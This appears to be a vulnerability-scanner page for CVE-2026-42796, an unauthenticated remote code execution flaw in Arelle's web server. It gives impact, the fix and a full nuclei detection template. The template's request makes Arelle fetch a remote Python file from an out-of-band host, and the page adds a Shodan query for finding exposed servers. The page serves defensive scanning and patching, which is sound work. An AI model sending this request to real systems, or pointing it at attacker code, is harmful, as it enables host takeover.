Arelle < 2.39.10 - Remote Code Execution

criticalseverity

9.8CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle downloads and executes within its process.

Impact

Successful exploitation allows an unauthenticated attacker to execute arbitrary Python code with the privileges of the Arelle webserver process, leading to full host compromise.

Fix

Upgrade to Arelle 2.39.10 or later, which rejects remote URL plug-in references over the webserver.

How to confirm it

Send: GET {{BaseURL}}/rest/configure?plugins=http://{{interactsh-url}}/{{randstr}}.py
Positive when: contains in interactsh_protocol "http" AND contains "Configuration Request" AND status 200

Run it with nuclei: nuclei -id CVE-2026-42796 -u <target>

The full check

id: CVE-2026-42796

info:
  name: Arelle < 2.39.10 - Remote Code Execution
  author: aryu-ru
  severity: critical
  description: |
    Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle downloads and executes within its process.
  impact: |
    Successful exploitation allows an unauthenticated attacker to execute arbitrary Python code with the privileges of the Arelle webserver process, leading to full host compromise.
  remediation: |
    Upgrade to Arelle 2.39.10 or later, which rejects remote URL plug-in references over the webserver.
  reference:
    - https://www.vulncheck.com/advisories/arelle-unauthenticated-rce-via-rest-configure
    - https://github.com/Arelle/Arelle/pull/2320
    - https://github.com/Arelle/Arelle/releases/tag/2.39.10
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42796
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42796
    epss-score: 0.02747
    epss-percentile: 0.86315
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: arelle
    product: arelle
    shodan-query: http.html:"Arelle Web Services"
  tags: cve,cve2026,arelle,rce,oast,unauth,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/configure?plugins=http://{{interactsh-url}}/{{randstr}}.py"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "Configuration Request"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from